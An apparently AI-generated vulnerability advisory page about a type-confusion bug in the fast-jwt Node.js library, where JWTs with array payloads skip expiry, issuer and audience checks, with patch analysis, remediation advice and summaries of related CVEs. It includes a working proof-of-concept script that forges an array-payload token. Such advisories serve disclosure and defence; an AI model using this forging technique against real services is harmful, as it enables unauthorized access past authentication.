CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-107723

CVE-2026-107723: Silent Claim-Validator Bypass in NearForm fast-jwt via Array Payload Type Confusion

Alon Barad
Alon Barad
Software Engineer

Oct 9, 2026·6 min read·6 visits

Executive Summary (TL;DR)

A type-confusion vulnerability in fast-jwt prior to 6.3.0 allows validly signed tokens structured as JSON arrays to completely bypass claim validations such as expiration (exp) and issuer (iss) verification.

A high-severity type-confusion vulnerability exists in NearForm fast-jwt prior to version 6.3.0. The vulnerability allows attackers to bypass crucial claim validation steps (such as expiration, issuer, audience, and subject validations) by presenting a validly signed JSON Web Token structured as a JSON array instead of a JSON object. This occurs because the library's decoder fails to reject JSON arrays during type evaluation.

Vulnerability Overview

The fast-jwt library is an optimized, high-performance JSON Web Token (JWT) implementation developed by NearForm for the Node.js ecosystem. In production environments, systems leverage this library to handle high-throughput authentication and authorization processes. Because token validation is the primary barrier protecting restricted backend services, any flaw in the verification logic exposes the entire application context to unauthorized access.

The vulnerability, designated as CVE-2026-107723, represents a severe flaw categorized under CWE-1287 (Improper Validation of Specified Type of Input). Specifically, the library's decoder fails to enforce that a JWT payload must be a JSON object, accepting JSON arrays instead. This structural discrepancy introduces type confusion downstream during the security verification phase.

When an attacker provides a validly signed JWT with an array payload, the token successfully passes signature verification. However, the system silently bypasses all subsequent safety checks, including expiration, issuer, and audience validations. Consequently, the application processes the unvalidated payload as authenticated, leading to complete security control bypasses.

Technical Root Cause & JavaScript Type Quirks

The underlying flaw stems from a fundamental quirk in JavaScript's type evaluation model combined with a structural standard mismatch. RFC 7519 explicitly mandates that the JWT Claims Set must be a JSON object. However, JavaScript’s typeof operator evaluates arrays as objects, meaning that typeof [] evaluates to 'object'. Because the initial parser did not explicitly reject array-shaped payloads, they successfully satisfied the type check and advanced into the verification lifecycle.

Once the array payload enters the verifier module, the claim validation loop begins evaluating standard configuration limits. The verifier checks whether specific claims exist in the payload using the JavaScript in operator. While this operator checks for keys inside standard objects, its behavior on arrays is fundamentally different.

When executed against an array, the in operator checks if the specified string matches either a numeric index or a built-in array property. Because security claims such as 'exp', 'nbf', 'iss', or 'aud' are strings and do not map to numeric indexes, expressions like 'exp' in payload consistently evaluate to false. The validation loop interprets this false result as the absence of the claim, causing the library to silently skip the security check and successfully approve the token.

Code Path and Patch Analysis

To understand the vulnerability, it is necessary to examine the original implementation of the validation logic within the parser module. In vulnerable versions of fast-jwt, the validation statement was designed to reject non-object payloads. However, due to the type evaluation quirk, the validation successfully executed without raising an error when a JSON array was submitted.

// Vulnerable code in src/decoder.js
if (!payload || typeof payload !== 'object') {
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

The official security patch introduced in commit 86e83efd8b5244f50859532d99244f0a9a9a4368 resolves this logic gap by appending an explicit check for arrays. By combining the typeof check with Array.isArray(), the library safely blocks arrays from entering the verifier stage.

// Patched code in src/decoder.js
if (!payload || typeof payload !== 'object' || Array.isArray(payload)) {
  throw new TokenError(TokenError.codes.invalidPayload, 'The payload must be an object', { payload })
}

This explicit check ensures that array-shaped structures are safely rejected during the decoding stage before any signature or claim verification takes place. This modification restricts the allowed payloads strictly to valid JSON objects, aligning the library with the specifications of RFC 7519.

Exploitation Methodology & Proof of Concept

Exploiting this vulnerability requires that an attacker present a validly signed token containing a JSON array payload. In typical environments, an attacker might obtain this by exploiting an endpoint that signs user-controlled JSON or by leveraging key-compromise or algorithm-confusion scenarios. For instance, if symmetric validation is incorrectly enabled alongside asymmetric public keys, an attacker can sign the token locally using the server's public key.

The attacker structures the JWT Claims Set as a serialized JSON array instead of a JSON object. This array is then encoded using standard Base64url and appended with a signature generated via the appropriate cryptographic algorithm. When the target server receives this token, the fast-jwt library successfully verifies the signature but silently ignores all security-critical checks like expiration dates.

A functional proof-of-concept script illustrates how a forged array-payload token successfully bypasses verification configured with strict issuer and audience controls:

const { createHmac } = require('node:crypto');
const { createVerifier } = require('fast-jwt');
 
function forgeArrayPayloadToken(key, payload = ['attacker', 'role:admin']) {
  const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
  const encodedPayload = Buffer.from(JSON.stringify(payload)).toString('base64url');
  const signingInput = `${header}.${encodedPayload}`;
  const signature = createHmac('sha256', key).update(signingInput).digest('base64url');
  return `${signingInput}.${signature}`;
}
 
const key = 'shared-secret';
const forgedToken = forgeArrayPayloadToken(key);
 
const verifier = createVerifier({
  key,
  allowedIss: ['legit-issuer'],
  allowedAud: ['legit-audience']
});
 
try {
  const decoded = verifier(forgedToken);
  console.log('Bypass Success:', decoded);
} catch (err) {
  console.log('Rejected:', err.message);
}

Remediation and Mitigation Strategies

The primary remediation step is to upgrade the fast-jwt dependency to version 6.3.0 or higher, which completely resolves the type-confusion flaw. If upgrading immediately is not possible due to dependency constraints or system freeze policies, a viable workaround is available within the library's existing API configuration.

Developers can mitigate this bypass by specifying the requiredClaims option within the createVerifier parameters. Specifying parameters such as requiredClaims: ['exp', 'iss'] forces the validation engine to explicitly assert the existence and structural validity of these keys. When an array-shaped payload is passed, the verification logic will fail the assertion and throw an error, preventing the silent bypass.

Additionally, organizations can implement a layer of defense-in-depth by employing a Web Application Firewall (WAF) rule to intercept and block array-payload JWTs. A standard JWT payload begins with a JSON object, which serializes in Base64url as ey. Conversely, a JSON array payload serializes with the starting characters Wy. A regular expression can detect and drop these invalid structures at the network perimeter.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Affected Systems

Applications utilizing fast-jwt library versions prior to 6.3.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
fast-jwt
NearForm
< 6.3.06.3.0
AttributeDetail
CWE IDCWE-1287: Improper Validation of Specified Type of Input
Attack VectorNetwork (AV:N)
CVSS Base Score8.1
Exploit StatusProof of Concept available
CISA KEV StatusNot listed
Remediation StatusPatched in v6.3.0

MITRE ATT&CK Mapping

T1556Modify Authentication Process
Credential Access
T1211Exploitation for Defense Evasion
Defense Evasion
CWE-1287
Improper Validation of Specified Type of Input

The software receives input that is expected to be of a specific type, but it does not validate or incorrectly validates that the input is of that type.

References & Sources

  • [1]GHSA-5hjw-83fp-phq9: Claim validation bypass
  • [2]PR #639: Fix array payload check
  • [3]fast-jwt v6.3.0 Release Notes
  • [4]NVD CVE-2026-107723 Details
  • [5]CVE-2026-107723 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•9 minutes ago•CVE-2026-107728
7.5

CVE-2026-107728: Authorization Bypass in Strawberry GraphQL Permission Validation

An authorization bypass vulnerability in Strawberry GraphQL between versions 0.217.0 and 0.326.1 occurs when a synchronous permission handler returns an awaitable object (such as an unawaited coroutine). Due to Python's truthiness rules, the unawaited coroutine is evaluated as True, leading to an immediate bypass of security policies.

Amit Schendel
Amit Schendel
0 views•5 min read
•about 1 hour ago•CVE-2026-107727
3.7

CVE-2026-107727: Connection-Level Denial of Service via State Leak in Strawberry GraphQL Legacy WS Handler

An uncontrolled resource consumption vulnerability in Strawberry GraphQL allows unauthenticated remote attackers to trigger a Denial of Service on persistent WebSocket connections using the legacy graphql-ws protocol. When the server enforces max_subscriptions_per_connection, naturally terminating subscriptions are not cleared from memory registries, leading to exhaustion of connection slots.

Alon Barad
Alon Barad
4 views•6 min read
•about 3 hours ago•CVE-2026-107721
5.9

CVE-2026-107721: Time Validation Bypass in NearForm fast-jwt due to Loose Temporal Option Validation

NearForm fast-jwt prior to version 6.3.0 is vulnerable to an input validation flaw where configuring verifier properties (such as clockTolerance, clockTimestamp, and cacheTTL) with non-finite values like Infinity or NaN allows attackers to bypass temporal claim validations, including expiration (exp) and activation (nbf) boundaries. This validation bypass can result in unauthorized session persistence and cache poisoning.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 4 hours ago•CVE-2026-107722
9.8

CVE-2026-107722: Algorithm Confusion via Non-Whitespace Prefix Bypass in fast-jwt

A critical cryptographic vulnerability in fast-jwt versions 6.2.x prior to 6.3.0 allows unauthenticated remote attackers to execute an asymmetric-to-symmetric algorithm confusion attack due to incomplete validation of leading non-whitespace prefixes.

Amit Schendel
Amit Schendel
5 views•5 min read
•about 5 hours ago•CVE-2026-107720
7.4

CVE-2026-107720: Signature Verification Bypass in NearForm fast-jwt

CVE-2026-107720 is a critical signature verification bypass vulnerability in NearForm's fast-jwt Node.js library. Under specific configurations where the token verifier is initialized with a falsy cryptographic key (such as an empty string or null) and a non-empty algorithms allowlist, the library erroneously skips signature validation. This allows unauthenticated remote attackers to submit fabricated, unsigned JSON Web Tokens and bypass the authorization boundary of the application entirely.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 6 hours ago•CVE-2026-107715
6.8

CVE-2026-107715: Information Disclosure and Credential Leakage in Ruby Mechanize via Cross-Origin Redirections

Ruby Mechanize prior to version 2.14.1 contains an information disclosure vulnerability. When executing cross-origin HTTP redirects, global headers configured on the Mechanize agent (such as Authorization or Session Cookies) are dynamically re-applied to the subsequent request, bypassing the internal header-stripping logic. An attacker who controls a redirection endpoint can capture sensitive bearer tokens or cookies.

Alon Barad
Alon Barad
7 views•7 min read